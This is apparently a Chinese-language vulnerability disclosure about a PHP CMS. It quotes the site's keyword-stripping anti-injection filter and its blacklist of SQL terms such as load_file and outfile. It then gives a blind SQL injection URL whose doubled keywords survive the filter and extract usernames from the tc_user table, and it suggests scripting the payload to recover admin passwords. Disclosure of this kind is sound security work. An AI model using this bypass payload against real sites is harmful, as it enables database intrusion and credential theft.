### 简要描述:
直接看到/app/model/attackAction.class.php这个文件
public function initLogHacker() {
/*get*/
foreach($_GET as $key=>$value){
if (!in_array($key, array('ac','a','c','do'))){//防止控制器和方法命名不规范被过滤
$this->StopAttack($key,$value,"get",$this->getfilter);
$_GET[$key] = StringUtil::safe_replace($value);
$_GET[$key] = StringUtil::remove_xss($_GET[$key]);
}
}
对于get类型的处理。跟进StopAttack
private function inject_check($sql_str) {
return eregi('select|insert|\'|\/\*|\*|\.\.\/|\.\/|union|into|and|or|load_file|outfile', $sql_str);// 进行过滤
}.........
private function StopAttack($StrFiltKey,$StrFiltValue,$method,$ArrFiltReq){
$StrFiltValue = strtolower($StrFiltValue);
if(is_array($StrFiltValue)) {
$StrFiltValue=implode($StrFiltValue);
}
if ($this->inject_check($StrFiltValue) || preg_match ( "/" . $ArrFiltReq . "/is", $StrFiltValue ) == 1){
if ($method == 'cookie') {
$_COOKIE[$StrFiltKey] = '';
$this->logAttack($StrFiltValue,$method);
}
if ($method == 'get') {
$_GET[$StrFiltKey] = '';
$this->logAttack($StrFiltValue,$method);
}
if ($method == 'post') {
$_POST[$StrFiltKey] = '';
$this->logAttack($StrFiltValue,$method);
}
}
}
private function logAttack($StrFiltValue,$method) {
$attackStr = "
SubmitIP:".$_SERVER["REMOTE_ADDR"]."
SubmitTime:".strftime("%Y-%m-%d %H:%M:%S")."
SubmitPage:".$_SERVER["REQUEST_URI"]."
SubmitMethod:".$_SERVER["REQUEST_METHOD"]."
SubmitParams:".NetUtil::get_url()."
SubmitData:".$StrFiltValue;
$mailObj = new Email();
$this->url = NetUtil::get_url();
$this->ip = NetUtil::getIp();
$this->str = $attackStr;
$this->killip = 0;
$this->method = $method;
$this->addtime = time();
$row = $this->query("select id from ".TABLEPRE."attack where ip='".NetUtil::getIp()."'");
if (count($row) > 5) {
$this->id = $row[0]["id"];
$this->killip = 1;
$this->update();
} else {
$this->save();
}
if (Config::get('attackmail') == 1) {
$mailObj->Subject = "WebSite Attack Notice";
$mailObj->Body = $attackStr;
$mailObj->sendMail();
}
}
}
记录下attack然后发送邮件- -。继续看到 safe_replace
public static function safe_replace($string) {
$string = strtolower($string);
$string = str_replace("_", '\_', $string); // 把 '_'过滤掉
$string = str_replace("%", '\%', $string); // 把' % '过滤掉
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
$string = str_replace('\\', '', $string);
$string = str_replace('or', '', $string);
$string = str_replace('insert', '', $string);
$string = str_replace('select', '', $string);
$string = str_replace('delete', '', $string);
$string = str_replace('and', '', $string);
$string = str_replace('union', '', $string);
$string = str_replace('load_file', '', $string);
$string = str_replace('outfil', '', $string);
$string = str_replace('truncate', '', $string);
$string = str_replace('..', '', $string);
$string = str_replace('//', '/', $string);
$string = str_replace('http:/', 'http://', $string);
return $string;
}
替换关键字为空。sql的话 remove_xss函数我们无视就好了。影响不大。
我们找一个 执行sql语句的文件
像这个。/app/controller/news.class.php
注册用户
get数据 http://localhost/index.php?ac=news_all&yz=1 aananddnd exists (selseselectlectect username from tc_user where ooorrrd(substring(username from 1 fooorrr 1))=97)%23。
在两次safe_replace后。 还原了我们的语句
### 详细说明:
[<img src="https://images.seebug.org/upload/201408/02230425007a82bcd56acf97fcd1a787b31b916e.jpg" alt="漏1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/02230425007a82bcd56acf97fcd1a787b31b916e.jpg)
虽然记录了 attack到了数据库 但是语句还是执行了的。
写个脚本循环替换 for x to 1 和 =97(+ -)的值 分分钟就可以获取到管理账号密码了。
### 漏洞证明:
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